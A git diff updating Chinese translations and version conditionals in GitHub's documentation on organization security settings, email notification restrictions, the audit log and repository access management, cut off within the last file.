--- a/translations/zh-CN/content/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization.md
+++ b/translations/zh-CN/content/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization.md
@@ -18,7 +18,7 @@ shortTitle: 管理安全和分析
 
 ## 关于安全性和分析设置的管理
 
-{% data variables.product.prodname_dotcom %} 可帮助保护组织中的仓库。 您可以管理成员在组织中创建的所有现有或新仓库的安全性和分析功能。 {% ifversion fpt or ghec %}如果您拥有 {% data variables.product.prodname_GH_advanced_security %} 许可，则您还可以管理对这些功能的访问。 {% data reusables.advanced-security.more-info-ghas %}{% endif %}
+{% data variables.product.prodname_dotcom %} 可帮助保护组织中的仓库。 您可以管理成员在组织中创建的所有现有或新仓库的安全性和分析功能。 {% ifversion ghec %}如果您拥有 {% data variables.product.prodname_GH_advanced_security %} 许可，则您还可以管理对这些功能的访问。 {% data reusables.advanced-security.more-info-ghas %}{% endif %}{% ifversion fpt %}Organizations that use {% data variables.product.prodname_ghe_cloud %} with a license for {% data variables.product.prodname_GH_advanced_security %} can also manage access to these features. For more information, see [the {% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization).{% endif %}
 
 {% data reusables.security.some-security-and-analysis-features-are-enabled-by-default %}
 {% data reusables.security.security-and-analysis-features-enable-read-only %}
@@ -31,7 +31,7 @@ shortTitle: 管理安全和分析
 
 显示的页面允许您为组织中的仓库启用或禁用所有安全和分析功能。
 
-{% ifversion fpt or ghec %}如果您的组织属于具有 {% data variables.product.prodname_GH_advanced_security %} 许可的企业，则该页面还包含启用和禁用 {% data variables.product.prodname_advanced_security %} 功能的选项。 使用 {% data variables.product.prodname_GH_advanced_security %} 的任何仓库都列在页面底部。{% endif %}
+{% ifversion ghec %}如果您的组织属于具有 {% data variables.product.prodname_GH_advanced_security %} 许可的企业，则该页面还包含启用和禁用 {% data variables.product.prodname_advanced_security %} 功能的选项。 使用 {% data variables.product.prodname_GH_advanced_security %} 的任何仓库都列在页面底部。{% endif %}
 
 {% ifversion ghes > 3.0 %}如果您具有 {% data variables.product.prodname_GH_advanced_security %} 许可，则该页面还包含启用和禁用 {% data variables.product.prodname_advanced_security %} 功能的选项。 使用 {% data variables.product.prodname_GH_advanced_security %} 的任何仓库都列在页面底部。{% endif %}
 
@@ -39,20 +39,28 @@ shortTitle: 管理安全和分析
 
 ## 为所有现有仓库启用或禁用功能
 
-您可以启用或禁用所有仓库的功能。 {% ifversion fpt or ghec %}您的更改对组织中仓库的影响取决于其可见性：
+您可以启用或禁用所有仓库的功能。
+{% ifversion fpt or ghec %}您的更改对组织中仓库的影响取决于其可见性：
 
 - **依赖项图** - 您的更改仅影响私有仓库，因为该功能对公共仓库始终启用。
 - **{% data variables.product.prodname_dependabot_alerts %}** - 您的更改影响所有仓库。
 - **{% data variables.product.prodname_dependabot_security_updates %}** - 您的更改影响所有仓库。
+{%- ifversion ghec %}
 - **{% data variables.product.prodname_GH_advanced_security %}** - 您的更改仅影响私有仓库，因为 {% data variables.product.prodname_GH_advanced_security %} 和相关功能对公共仓库始终启用。
-- **{% data variables.product.prodname_secret_scanning_caps %}** - 您的更改仅影响还启用了 {% data variables.product.prodname_GH_advanced_security %} 的私有仓库。 {% data variables.product.prodname_secret_scanning_caps %} 对公共仓库始终启用。{% endif %}
+- **{% data variables.product.prodname_secret_scanning_caps %}** - 您的更改仅影响还启用了 {% data variables.product.prodname_GH_advanced_security %} 的私有仓库。 {% data variables.product.prodname_secret_scanning_caps %} 对公共仓库始终启用。
+{% endif %}
+
+{% endif %}
 
 {% data reusables.advanced-security.note-org-enable-uses-seats %}
 
 1. 转到组织的安全和分析设置。 更多信息请参阅“[显示安全和分析设置](#displaying-the-security-and-analysis-settings)”。
-2. 在“Configure security and analysis features（配置安全性和分析功能）”下，单击功能右侧的 **Disable all（全部禁用）**或 **Enable all（全部启用）**。 {% ifversion fpt or ghes > 3.0 or ghec %}如果您的 {% data variables.product.prodname_GH_advanced_security %} 许可中没有可用的席位，对“{% data variables.product.prodname_GH_advanced_security %}”的控制将会禁用。{% endif %}
-   {% ifversion fpt or ghec %}
-   !["Configure security and analysis（配置安全性和分析）"功能的"Enable all（全部启用）"或"Disable all（全部禁用）"按钮](/assets/images/help/organizations/security-and-analysis-disable-or-enable-all-ghas-dotcom.png)
+2. 在“Configure security and analysis features（配置安全性和分析功能）”下，单击功能右侧的 **Disable all（全部禁用）**或 **Enable all（全部启用）**。 {% ifversion ghes > 3.0 or ghec %}如果您的 {% data variables.product.prodname_GH_advanced_security %} 许可中没有可用的席位，对“{% data variables.product.prodname_GH_advanced_security %}”的控制将会禁用。{% endif %}
+   {% ifversion fpt %}
+   !["Configure security and analysis（配置安全性和分析）"功能的"Enable all（全部启用）"或"Disable all（全部禁用）"按钮](/assets/images/help/organizations/security-and-analysis-disable-or-enable-all-fpt.png)
+   {% endif %}
+   {% ifversion ghec %}
+   !["Configure security and analysis（配置安全性和分析）"功能的"Enable all（全部启用）"或"Disable all（全部禁用）"按钮](/assets/images/help/organizations/security-and-analysis-disable-or-enable-all-ghas-ghec.png)
    {% endif %}
    {% ifversion ghes > 3.2 %}
    !["Configure security and analysis（配置安全性和分析）"功能的"Enable all（全部启用）"或"Disable all（全部禁用）"按钮](/assets/images/enterprise/3.3/organizations/security-and-analysis-disable-or-enable-all-ghas.png)
@@ -94,10 +102,13 @@ shortTitle: 管理安全和分析
 
 1. 转到组织的安全和分析设置。 更多信息请参阅“[显示安全和分析设置](#displaying-the-security-and-analysis-settings)”。
 2. 在功能右边的“Configure security and analysis features（配置安全性和分析功能）”下，默认为组织中的新仓库{% ifversion fpt or ghec %} 或所有私有仓库{% endif %} 启用或禁用该功能。
-   {% ifversion fpt or ghec %}
-   ![用于对新仓库启用或禁用功能的复选框](/assets/images/help/organizations/security-and-analysis-enable-or-disable-feature-checkbox-dotcom.png)
+   {% ifversion fpt %}
+   ![用于对新仓库启用或禁用功能的复选框](/assets/images/help/organizations/security-and-analysis-enable-or-disable-feature-checkbox-fpt.png)
    {% endif %}
-   {% ifversion ghes > 3.2 %}
+   {% ifversion ghec %}
+   ![用于对新仓库启用或禁用功能的复选框](/assets/images/help/organizations/security-and-analysis-enable-or-disable-feature-checkbox-ghec.png)
+   {% endif %}
+  {% ifversion ghes > 3.2 %}
    ![用于对新仓库启用或禁用功能的复选框](/assets/images/enterprise/3.3/organizations/security-and-analysis-enable-or-disable-feature-checkbox.png)
    {% endif %}
    {% ifversion ghes = 3.1 or ghes = 3.2 %}
@@ -110,7 +121,8 @@ shortTitle: 管理安全和分析
    ![用于对新仓库启用或禁用功能的复选框](/assets/images/enterprise/github-ae/organizations/security-and-analysis-enable-or-disable-secret-scanning-checkbox-ghae.png)
    {% endif %}
 
-{% ifversion fpt or ghec or ghes > 3.2 %}
+{% ifversion ghec or ghes > 3.2 %}
+<!--TODO confirm that this functionality is intentionally not available for FPT -->
 
 ## 允许 {% data variables.product.prodname_dependabot %} 访问私有依赖项
 
@@ -130,7 +142,7 @@ shortTitle: 管理安全和分析
 1. （可选）要从列表中删除仓库，在仓库右侧单击 {% octicon "x" aria-label="The X icon" %}。 !["X" 按钮来删除仓库。](/assets/images/help/organizations/dependabot-private-repository-list.png)
 {% endif %}
 
-{% ifversion fpt or ghes > 3.0 or ghec %}
+{% ifversion ghes > 3.0 or ghec %}
 
 ## 从组织中的个别仓库中移除对 {% data variables.product.prodname_GH_advanced_security %} 的访问权限
 
@@ -151,8 +163,8 @@ shortTitle: 管理安全和分析
 
 ## 延伸阅读
 
-- "[保护您的仓库](/code-security/getting-started/securing-your-repository)"
-- "[关于密码扫描](/github/administering-a-repository/about-secret-scanning)"{% ifversion fpt or ghec %}
-- "[自动更新依赖项](/github/administering-a-repository/keeping-your-dependencies-updated-automatically)"{% endif %}{% ifversion not ghae %}
+- "[保护您的仓库](/code-security/getting-started/securing-your-repository)"{% ifversion not fpt %}
+- "[About secret scanning](/github/administering-a-repository/about-secret-scanning)"{% endif %}{% ifversion not ghae %}
 - “[关于依赖关系图](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)”
-- "[管理项目依赖项中的漏洞](/github/managing-security-vulnerabilities/managing-vulnerabilities-in-your-projects-dependencies)"{% endif %}
+- "[Managing vulnerabilities in your project's dependencies](/github/managing-security-vulnerabilities/managing-vulnerabilities-in-your-projects-dependencies)"{% endif %}{% ifversion fpt or ghec or ghes > 3.2 %}
+- "[自动更新依赖项](/github/administering-a-repository/keeping-your-dependencies-updated-automatically)"{% endif %}
diff --git a/translations/zh-CN/content/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization.md b/translations/zh-CN/content/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization.md
index 609f0b67d1..31cfd93f46 100644
--- a/translations/zh-CN/content/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization.md
+++ b/translations/zh-CN/content/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Restricting email notifications for your organization
-intro: 'To prevent organization information from leaking into personal email accounts, you can restrict the domains where members can receive email notifications about organization activity.'
+title: 限制组织的电子邮件通知
+intro: 为防止组织信息泄露到个人电子邮件帐户，您可以限制成员可以接收有关组织活动的电子邮件通知的域。
 product: '{% data reusables.gated-features.restrict-email-domain %}'
 permissions: Organization owners can restrict email notifications for an organization.
 redirect_from:
@@ -18,29 +18,29 @@ topics:
   - Notifications
   - Organizations
   - Policy
-shortTitle: Restrict email notifications
+shortTitle: 限制电子邮件通知
 ---
 
-## About email restrictions
+## 关于电子邮件限制
 
-When restricted email notifications are enabled in an organization, members can only use an email address associated with a verified or approved domain to receive email notifications about organization activity. For more information, see "[Verifying or approving a domain for your organization](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)."
+当在组织中启用受限制的电子邮件通知时，成员只能使用与已验证或批准的域关联的电子邮件地址接收有关组织活动的电子邮件通知。 更多信息请参阅“[验证或批准组织的域](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)”。
 
 {% data reusables.enterprise-accounts.approved-domains-beta-note %}
 
 {% data reusables.notifications.email-restrictions-verification %}
 
-Outside collaborators are not subject to restrictions on email notifications for verified or approved domains. For more information about outside collaborators, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators)."
+外部协作者不受限于已验证或批准域的电子邮件通知。 For more information about outside collaborators, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators)."
 
-If your organization is owned by an enterprise account, organization members will be able to receive notifications from any domains verified or approved for the enterprise account, in addition to any domains verified or approved for the organization. For more information, see "[Verifying or approving a domain for your enterprise](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise)."
+如果您的组织由企业帐户拥有，则组织成员除了能够接收来自组织的任何已验证或批准域的通知之外，还能够接收来自企业帐户的任何已验证或批准域的通知。 更多信息请参阅“[验证或批准企业的域](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise)”。
 
-## Restricting email notifications
+## 限制电子邮件通知
 
-Before you can restrict email notifications for your organization, you must verify or approve at least one domain for the organization, or an enterprise owner must have verified or approved at least one domain for the enterprise account.
+在限制组织的电子邮件通知之前，您必须至少验证或批准组织的一个域名，或者企业所有者必须已验证或批准至少一个企业帐户域。
 
-For more information about verifying and approving domains for an organization, see "[Verifying or approving a domain for your organization](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)."
+有关验证和批准组织域名的更多信息，请参阅“[验证或批准组织域名](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)”。
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.verified-domains %}
 {% data reusables.organizations.restrict-email-notifications %}
-6. Click **Save**.
+6. 单击 **Save（保存）**。
diff --git a/translations/zh-CN/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md b/translations/zh-CN/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md
index 08a2b3eb70..034abf484e 100644
--- a/translations/zh-CN/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md
+++ b/translations/zh-CN/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md
@@ -68,13 +68,13 @@ To search for specific events, use the `action` qualifier in your query. Actions
 | [`repo`](#repo-category-actions) | Contains activities related to the repositories owned by your organization.{% ifversion fpt or ghec %}
 | [`repository_advisory`](#repository_advisory-category-actions) | Contains repository-level activities related to security advisories in the {% data variables.product.prodname_advisory_database %}.  For more information, see "[About {% data variables.product.prodname_dotcom %} Security Advisories](/github/managing-security-vulnerabilities/about-github-security-advisories)."
 | [`repository_content_analysis`](#repository_content_analysis-category-actions) | Contains all activities related to [enabling or disabling data use for a private repository](/articles/about-github-s-use-of-your-data).{% endif %}{% ifversion fpt or ghec %}
-| [`repository_dependency_graph`](#repository_dependency_graph-category-actions) | Contains repository-level activities related to enabling or disabling the dependency graph for a {% ifversion fpt or ghec %}private {% endif %}repository. For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)."{% endif %}
-| [`repository_secret_scanning`](#repository_secret_scanning-category-actions) | Contains repository-level activities related to secret scanning. For more information, see "[About secret scanning](/github/administering-a-repository/about-secret-scanning)." {% ifversion fpt or ghes or ghae-issue-4864 or ghec %}
+| [`repository_dependency_graph`](#repository_dependency_graph-category-actions) | Contains repository-level activities related to enabling or disabling the dependency graph for a {% ifversion fpt or ghec %}private {% endif %}repository. For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)."{% endif %}{% ifversion ghes or ghae or ghec %}
+| [`repository_secret_scanning`](#repository_secret_scanning-category-actions) | Contains repository-level activities related to secret scanning. For more information, see "[About secret scanning](/github/administering-a-repository/about-secret-scanning)." {% endif %}{% ifversion fpt or ghes or ghae-issue-4864 or ghec %}
 | [`repository_vulnerability_alert`](#repository_vulnerability_alert-category-actions) | Contains all activities related to [{% data variables.product.prodname_dependabot_alerts %} for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies).{% endif %}{% ifversion fpt or ghec %}
 | [`repository_vulnerability_alerts`](#repository_vulnerability_alerts-category-actions) | Contains repository-level configuration activities for {% data variables.product.prodname_dependabot_alerts %}.{% endif %}{% ifversion ghec %}
-| [`role`](#role-category-actions) | Contains all activities related to [custom repository roles](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization).{% endif %}
+| [`role`](#role-category-actions) | Contains all activities related to [custom repository roles](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization).{% endif %}{% ifversion ghes or ghae or ghec %}
 | [`secret_scanning`](#secret_scanning-category-actions) | Contains organization-level configuration activities for secret scanning in existing repositories. For more information, see "[About secret scanning](/github/administering-a-repository/about-secret-scanning)."
-| [`secret_scanning_new_repos`](#secret_scanning_new_repos-category-actions) | Contains organization-level configuration activities for secret scanning for new repositories created in the organization. {% ifversion fpt or ghec %}
+| [`secret_scanning_new_repos`](#secret_scanning_new_repos-category-actions) | Contains organization-level configuration activities for secret scanning for new repositories created in the organization. {% endif %}{% ifversion fpt or ghec %}
 | [`sponsors`](#sponsors-category-actions) | Contains all events related to sponsor buttons (see "[Displaying a sponsor button in your repository](/articles/displaying-a-sponsor-button-in-your-repository)"){% endif %}
 | [`team`](#team-category-actions) | Contains all activities related to teams in your organization.
 | [`team_discussions`](#team_discussions-category-actions) | Contains activities related to managing team discussions for an organization.{% ifversion fpt or ghec or ghes > 3.1 or ghae %}
@@ -515,7 +515,6 @@ For more information, see "[Managing the publication of {% data variables.produc
 
 | Action | Description
 |------------------|-------------------
-| `clear` | Triggered when a payment method on file is [removed](/articles/removing-a-payment-method).
 | `create` |  Triggered when a new payment method is added, such as a new credit card or PayPal account.
 | `update` | Triggered when an existing payment method is updated.
 
@@ -550,7 +549,7 @@ For more information, see "[Managing the publication of {% data variables.produc
 | `update_require_code_owner_review ` | Triggered when enforcement of required Code Owner review is updated on a branch.
 | `dismiss_stale_reviews ` | Triggered when enforcement of dismissing stale pull requests is updated on a branch.
 | `update_signature_requirement_enforcement_level ` | Triggered when enforcement of required commit signing is updated on a branch.
-| `update_pull_request_reviews_enforcement_level ` | Triggered when enforcement of required pull request reviews is updated on a branch.
+| `update_pull_request_reviews_enforcement_level ` | Triggered when enforcement of required pull request reviews is updated on a branch. Can be one of `0`(deactivated), `1`(non-admins), `2`(everyone).
 | `update_required_status_checks_enforcement_level ` | Triggered when enforcement of required status checks is updated on a branch.
 | `update_strict_required_status_checks_policy` | Triggered when the requirement for a branch to be up to date before merging is changed.
 | `rejected_ref_update ` | Triggered when a branch update attempt is rejected.
@@ -662,15 +661,15 @@ For more information, see "[Managing the publication of {% data variables.produc
 | `disable` | Triggered when a repository owner or person with admin access to the repository disables the dependency graph for a {% ifversion fpt or ghec %}private {% endif %}repository. For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)."
 | `enable` | Triggered when a repository owner or person with admin access to the repository enables the dependency graph for a {% ifversion fpt or ghec %}private {% endif %}repository.
 
-{% endif %}
+{% endif %}{% ifversion ghec or ghes or ghae %}
 ### `repository_secret_scanning` category actions
 
 | Action | Description
 |------------------|-------------------
-| `disable` | Triggered when a repository owner or person with admin access to the repository disables secret scanning for a {% ifversion fpt or ghec %}private {% endif %}repository. For more information, see "[About secret scanning](/github/administering-a-repository/about-secret-scanning)."
-| `enable` | Triggered when a repository owner or person with admin access to the repository enables secret scanning for a {% ifversion fpt or ghec %}private {% endif %}repository.
+| `disable` | Triggered when a repository owner or person with admin access to the repository disables secret scanning for a {% ifversion ghec %}private or internal {% endif %}repository. For more information, see "[About secret scanning](/github/administering-a-repository/about-secret-scanning)."
+| `enable` | Triggered when a repository owner or person with admin access to the repository enables secret scanning for a {% ifversion ghec %}private or internal {% endif %}repository.
 
-{% ifversion fpt or ghes or ghae-issue-4864 or ghec %}
+{% endif %}{% ifversion fpt or ghes or ghae-issue-4864 or ghec %}
 ### `repository_vulnerability_alert` category actions
 
 | Action | Description
@@ -697,20 +696,21 @@ For more information, see "[Managing the publication of {% data variables.produc
 |`update` | Triggered when an organization owner edits an existing custom repository role. For more information, see "[Managing custom repository roles for an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)."
 
 {% endif %}
-
+{% ifversion ghec or ghes or ghae %}
 ### `secret_scanning` category actions
 
 | Action | Description
 |------------------|-------------------
-| `disable` | Triggered when an organization owner disables secret scanning for all existing{% ifversion fpt or ghec %}, private{% endif %} repositories. For more information, see "[About secret scanning](/github/administering-a-repository/about-secret-scanning)."
-| `enable` | Triggered when an organization owner enables secret scanning for all existing{% ifversion fpt or ghec %}, private{% endif %} repositories.
+| `disable` | Triggered when an organization owner disables secret scanning for all existing{% ifversion ghec %}, private or internal{% endif %} repositories. For more information, see "[About secret scanning](/github/administering-a-repository/about-secret-scanning)."
+| `enable` | Triggered when an organization owner enables secret scanning for all existing{% ifversion ghec %}, private or internal{% endif %} repositories.
 
 ### `secret_scanning_new_repos` category actions
 
 | Action | Description
 |------------------|-------------------
-| `disable` | Triggered when an organization owner disables secret scanning for all new {% ifversion fpt or ghec %}private {% endif %}repositories. For more information, see "[About secret scanning](/github/administering-a-repository/about-secret-scanning)."
-| `enable` | Triggered when an organization owner enables secret scanning for all new {% ifversion fpt or ghec %}private {% endif %}repositories.
+| `disable` | Triggered when an organization owner disables secret scanning for all new {% ifversion ghec %}private or internal {% endif %}repositories. For more information, see "[About secret scanning](/github/administering-a-repository/about-secret-scanning)."
+| `enable` | Triggered when an organization owner enables secret scanning for all new {% ifversion ghec %}private or internal {% endif %}repositories.
+{% endif %}
 
 {% ifversion fpt or ghec %}
 ### `sponsors` category actions
diff --git a/translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/index.md b/translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/index.md
index 94a30b7368..1fb1dfc2c7 100644
--- a/translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/index.md
+++ b/translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/index.md
@@ -1,6 +1,6 @@
 ---
-title: Managing access to your organization's repositories
-intro: Organization owners can manage individual and team access to the organization's repositories. Team maintainers can also manage a team's repository access.
+title: 管理对组织仓库的访问
+intro: 组织所有者可以管理个人和团队对组织仓库的访问。 团队维护员也可以管理团队的仓库访问权限。
 redirect_from:
   - /articles/permission-levels-for-an-organization-repository
   - /articles/managing-access-to-your-organization-s-repositories
@@ -26,6 +26,6 @@ children:
   - /converting-an-organization-member-to-an-outside-collaborator
   - /converting-an-outside-collaborator-to-an-organization-member
   - /reinstating-a-former-outside-collaborators-access-to-your-organization
-shortTitle: Manage access to repositories
+shortTitle: 管理对仓库的访问
 ---
 
diff --git a/translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository.md b/translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository.md
index 4e2c599dd2..260f64f326 100644
--- a/translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository.md
+++ b/translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Managing an individual's access to an organization repository
-intro: You can manage a person's access to a repository owned by your organization.
+title: 管理个人对组织仓库的访问
+intro: 您可以管理个人对组织拥有的仓库的访问。
 redirect_from:
   - /articles/managing-an-individual-s-access-to-an-organization-repository-early-access-program
   - /articles/managing-an-individual-s-access-to-an-organization-repository
@@ -14,13 +14,13 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Manage individual access
+shortTitle: 管理个人访问
 permissions: People with admin access to a repository can manage access to the repository.
 ---
 
 ## About access to organization repositories
 
-When you remove a collaborator from a repository in your organization, the collaborator loses read and write access to the repository. If the repository is private and the collaborator has forked the repository, then their fork is also deleted, but the collaborator will still retain any local clones of your repository.
+从组织中的仓库删除协作者时，该协作者会失去对仓库的读写权限。 如果仓库是私有的，并且协作者对仓库进行了复刻，则其复刻也会被检测到，但协作者仍然保留仓库的任何本地克隆副本。
 
 {% data reusables.repositories.deleted_forks_from_private_repositories_warning %}
 
@@ -30,25 +30,20 @@ When you remove a collaborator from a repository in your organization, the colla
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.navigate-to-manage-access %}
 {% data reusables.organizations.invite-teams-or-people %}
-5. In the search field, start typing the name of the person to invite, then click a name in the list of matches.
-  ![Search field for typing the name of a team or person to invite to the repository](/assets/images/help/repository/manage-access-invite-search-field.png)
-6. Under "Choose a role", select the repository role to assign the person, then click **Add NAME to REPOSITORY**.
-  ![Selecting permissions for the team or person](/assets/images/help/repository/manage-access-invite-choose-role-add.png)
+5. In the search field, start typing the name of the person to invite, then click a name in the list of matches. ![用于输入要邀请加入仓库的团队或人员名称的搜索字段](/assets/images/help/repository/manage-access-invite-search-field.png)
+6. Under "Choose a role", select the repository role to assign the person, then click **Add NAME to REPOSITORY**. ![为团队或人员选择权限](/assets/images/help/repository/manage-access-invite-choose-role-add.png)
 
-## Managing an individual's access to an organization repository
+## 管理个人对组织仓库的访问
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.people %}
-4. Click either **Members** or **Outside collaborators** to manage people with different types of access. ![Button to invite members or outside collaborators to an organization](/assets/images/help/organizations/select-outside-collaborators.png)
-5. To the right of the name of the person you'd like to manage, use the {% octicon "gear" aria-label="The Settings gear" %} drop-down menu, and click **Manage**.
-  ![The manage access link](/assets/images/help/organizations/member-manage-access.png)
-6. On the "Manage access" page, next to the repository, click **Manage access**.
-![Manage access button for a repository](/assets/images/help/organizations/repository-manage-access.png)
-7. Review the person's access to a given repository, such as whether they're a collaborator or have access to the repository via team membership.
-![Repository access matrix for the user](/assets/images/help/organizations/repository-access-matrix-for-user.png)
+4. 单击 **Members（成员）**或 **Outside collaborators（外部协作者）**以管理具有不同访问权限的人员。 ![邀请成员或外部协作者参加组织的按钮](/assets/images/help/organizations/select-outside-collaborators.png)
+5. 在您要管理的人员名称右侧，使用 {% octicon "gear" aria-label="The Settings gear" %} 下拉菜单，并单击 **Manage（管理）**。 ![管理访问链接](/assets/images/help/organizations/member-manage-access.png)
+6. 在 "Manage access"（管理访问权限）页面上的仓库旁边，单击 **Manage access（管理访问权限）**。 ![管理对仓库的访问权限按钮](/assets/images/help/organizations/repository-manage-access.png)
+7. 检查个人对指定仓库的访问权限，例如他们是协作者还是通过团队成员资格来访问仓库。 ![用户的仓库访问矩阵](/assets/images/help/organizations/repository-access-matrix-for-user.png)
 
-## Further reading
+## 延伸阅读
 
-{% ifversion fpt or ghec %}- "[Limiting interactions with your repository](/articles/limiting-interactions-with-your-repository)"{% endif %}
+{% ifversion fpt or ghec %}- "[限制与仓库的交互](/articles/limiting-interactions-with-your-repository)"{% endif %}
 - "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)"
diff --git a/translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository.md b/translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository.md
index 51d2c0a079..85a6dce44a 100644
--- a/translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository.md
+++ b/translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Managing team access to an organization repository
-intro: 'You can give a team access to a repository, remove a team''s access to a repository, or change a team''s permission level for a repository.'
+title: 管理团队对组织仓库的访问
+intro: 您可以向团队授予仓库访问权限，删除团队的仓库访问权限，或者更改团队对仓库的权限级别。
 redirect_from:
   - /articles/managing-team-access-to-an-organization-repository-early-access-program
   - /articles/managing-team-access-to-an-organization-repository
@@ -13,35 +13,32 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Manage team access
+shortTitle: 管理团队访问
 ---
 
-People with admin access to a repository can manage team access to the repository. Team maintainers can remove a team's access to a repository.
+对仓库具有管理员权限的人员可以管理团队对仓库的访问权限。 团队维护员可以删除团队对仓库的访问权限。
 
 {% warning %}
 
-**Warnings:**
-- You can change a team's permission level if the team has direct access to a repository. If the team's access to the repository is inherited from a parent team, you must change the parent team's access to the repository.
-- If you add or remove repository access for a parent team, each of that parent's child teams will also receive or lose access to the repository. For more information, see "[About teams](/articles/about-teams)."
+**警告：**
+- 如果团队能够直接访问仓库，您可以更改其权限级别。 如果团队对仓库的访问权限继承自父团队，则您必须更改团队对仓库的访问权限。
+- 如果您添加或删除父团队的仓库访问权限，则其每个子团队也会获得或失去相应的仓库访问权限。 更多信息请参阅“[关于团队](/articles/about-teams)”。
 
 {% endwarning %}
 
-## Giving a team access to a repository
+## 授予团队对仓库的访问权限
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.specific_team %}
 {% data reusables.organizations.team-repositories-tab %}
-5. Above the list of repositories, click **Add repository**.
-  ![The Add repository button](/assets/images/help/organizations/add-repositories-button.png)
-6. Type the name of a repository, then click **Add repository to team**.
-  ![Repository search field](/assets/images/help/organizations/team-repositories-add.png)
-7. Optionally, to the right of the repository name, use the drop-down menu and choose a different permission level for the team.
-  ![Repository access level dropdown](/assets/images/help/organizations/team-repositories-change-permission-level.png)
+5. 在仓库列表上方，单击 **Add repository（添加仓库）**。 ![添加仓库按钮](/assets/images/help/organizations/add-repositories-button.png)
+6. 输入仓库的名称，然后单击 **Add repository to team（添加仓库到团队）**。 ![仓库搜索字段](/assets/images/help/organizations/team-repositories-add.png)
+7. 也可选择在仓库名称右侧使用下拉菜单，为团队选择不同的权限级别。 ![仓库访问权限下拉菜单](/assets/images/help/organizations/team-repositories-change-permission-level.png)
 
-## Removing a team's access to a repository
+## 删除团队对仓库的访问权限
 
-You can remove a team's access to a repository if the team has direct access to a repository. If a team's access to the repository is inherited from a parent team, you must remove the repository from the parent team in order to remove the repository from child teams.
+如果团队能够直接访问仓库，您可以更改其对仓库的访问权限。 如果团队对仓库的访问权限继承自父团队，则必须删除父团队对仓库的访问权限才可删除其子团队的相应权限。
 
 {% data reusables.repositories.deleted_forks_from_private_repositories_warning %}
 
@@ -49,13 +46,10 @@ You can remove a team's access to a repository if the team has direct access to
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.specific_team %}
 {% data reusables.organizations.team-repositories-tab %}
-5. Select the repository or repositories you'd like to remove from the team.
-  ![List of team repositories with the checkboxes for some repositories selected](/assets/images/help/teams/select-team-repositories-bulk.png)
-6. Above the list of repositories, use the drop-down menu, and click **Remove from team**.
-  ![Drop-down menu with the option to remove a repository from a team](/assets/images/help/teams/remove-team-repo-dropdown.png)
-7. Review the repository or repositories that will be removed from the team, then click **Remove repositories**.
-  ![Modal box with a list of repositories that the team will no longer have access to](/assets/images/help/teams/confirm-remove-team-repos.png)
+5. 选择要从团队删除的仓库。 ![某些仓库的勾选框已选中的团队仓库列表](/assets/images/help/teams/select-team-repositories-bulk.png)
+6. 在仓库列表上方，使用下拉菜单，然后单击 **Remove from team（从团队删除）**。 ![包含从团队删除仓库的选项的下拉菜单](/assets/images/help/teams/remove-team-repo-dropdown.png)
